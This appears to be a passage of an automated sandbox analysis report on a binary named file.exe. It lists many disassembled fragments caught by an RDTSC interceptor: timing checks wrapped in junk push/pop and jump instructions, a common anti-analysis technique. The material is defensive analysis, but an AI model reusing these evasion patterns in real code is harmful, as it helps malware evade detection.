Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90394 second address: D903A5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D903A5 second address: D903A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D903A9 second address: D903C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9C2CD78D74h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9068F second address: D906A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9C2CC4BDEBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D907BF second address: D907CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D907CC second address: D907EA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9C2CC4BDF8h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90A90 second address: D90AAF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F9C2CD78D71h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90AAF second address: D90AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CC4BDF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68F32 second address: D68F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68F36 second address: D68F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F9C2CC4BDF8h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F9C2CC4BDE8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c add ecx, dword ptr [ebp+122D1A8Dh] 0x00000032 and ecx, dword ptr [ebp+124459FDh] 0x00000038 lea eax, dword ptr [ebp+12483C9Fh] 0x0000003e cld 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 js 00007F9C2CC4BDE8h 0x00000048 push eax 0x00000049 pop eax 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D697AA second address: D697AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D697AF second address: D697EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CC4BDECh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F9C2CC4BDE8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D3045h], ebx 0x0000002d nop 0x0000002e jbe 00007F9C2CC4BDFDh 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69910 second address: D69917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69917 second address: D6991D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6991D second address: D69945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push esi 0x00000010 jnp 00007F9C2CD78D6Ch 0x00000016 pop esi 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69945 second address: D6994B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6994B second address: D69953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D699EA second address: D69A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69A03 second address: D69A20 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9C2CD78D68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C2CD78D6Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69AEA second address: D69B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69B07 second address: D69B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A1AC second address: D6A1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A341 second address: D6A345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9438E second address: D9439D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D199EC second address: D19A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D73h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D948BF second address: D948D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F9C2CC4BDE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97A7A second address: D97A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97A85 second address: D97A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CC4BDEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97A97 second address: D97AC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Bh 0x00000007 jmp 00007F9C2CD78D6Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F9C2CD78D68h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97AC2 second address: D97AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97AC6 second address: D97AD0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F721 second address: D9F725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F859 second address: D9F877 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F9C2CD78D6Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FB54 second address: D9FB58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FB58 second address: D9FB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F9C2CD78D66h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FB6A second address: D9FB7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jbe 00007F9C2CC4BDE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FE24 second address: D9FE3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9C2CD78D6Dh 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0100 second address: DA0114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0270 second address: DA02A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CD78D75h 0x00000008 jmp 00007F9C2CD78D6Fh 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA02A1 second address: DA02A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA02A7 second address: DA02AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA03FB second address: DA0405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9C2CC4BDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA09D3 second address: DA09F4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9C2CD78D66h 0x00000008 jmp 00007F9C2CD78D77h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA09F4 second address: DA0A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEAh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0A03 second address: DA0A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F2D9 second address: D9F2E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F9C2CC4BDE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6522 second address: DA652A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA652A second address: DA6547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9C2CC4BDF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6547 second address: DA6561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D76h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA57A4 second address: DA57AE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C2CC4BDE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5DA2 second address: DA5DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5DA6 second address: DA5DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5DAA second address: DA5DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5F06 second address: DA5F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5F0A second address: DA5F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9C2CD78D66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push edx 0x0000000f jc 00007F9C2CD78D66h 0x00000015 pop edx 0x00000016 pushad 0x00000017 jo 00007F9C2CD78D66h 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5F2B second address: DA5F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5F38 second address: DA5F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5F3C second address: DA5F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC45D second address: DAC467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9C2CD78D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF830 second address: DAF83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF83C second address: DAF840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF203 second address: DAF240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F9C2CC4BDEAh 0x0000000d jmp 00007F9C2CC4BDF8h 0x00000012 pop esi 0x00000013 ja 00007F9C2CC4BDE8h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f jns 00007F9C2CC4BDE6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3505 second address: DB350F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C2CD78D72h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2F3A second address: DB2F44 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9C2CC4BDF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2F44 second address: DB2F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB326E second address: DB3273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7A28 second address: DB7A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7A2C second address: DB7A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7A30 second address: DB7A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C2CD78D77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7A55 second address: DB7A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7B5B second address: DB7B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69CBD second address: D69CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69CC1 second address: D69CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC098 second address: DBC0CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF6h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F9C2CC4BDE8h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9C2CC4BDECh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC0CA second address: DBC0DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F9C2CD78D66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC3B2 second address: DBC3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC499C second address: DC49B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F9C2CD78D75h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2A28 second address: DC2A49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF3h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F9C2CC4BDE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2F7A second address: DC2F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F9C2CD78D66h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2F8D second address: DC2F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9C2CC4BDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3D4B second address: DC3D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3D51 second address: DC3D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9C2CC4BDF9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3D73 second address: DC3D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC469E second address: DC46A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC86DD second address: DC86E9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9C2CD78D66h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8B04 second address: DC8B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9C2CC4BDF2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD640 second address: DCD64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9C2CD78D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD64A second address: DCD673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F9C2CC4BDE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f je 00007F9C2CC4BDFEh 0x00000015 jmp 00007F9C2CC4BDF2h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD673 second address: DCD67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D239DD second address: D239E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D239E3 second address: D239EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D239EC second address: D239F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D239F2 second address: D239F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D239F6 second address: D23A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F9C2CC4BDF2h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jp 00007F9C2CC4BDE6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23A19 second address: D23A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5D83 second address: DD5DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9C2CC4BDE6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9C2CC4BDEDh 0x00000017 rdtsc
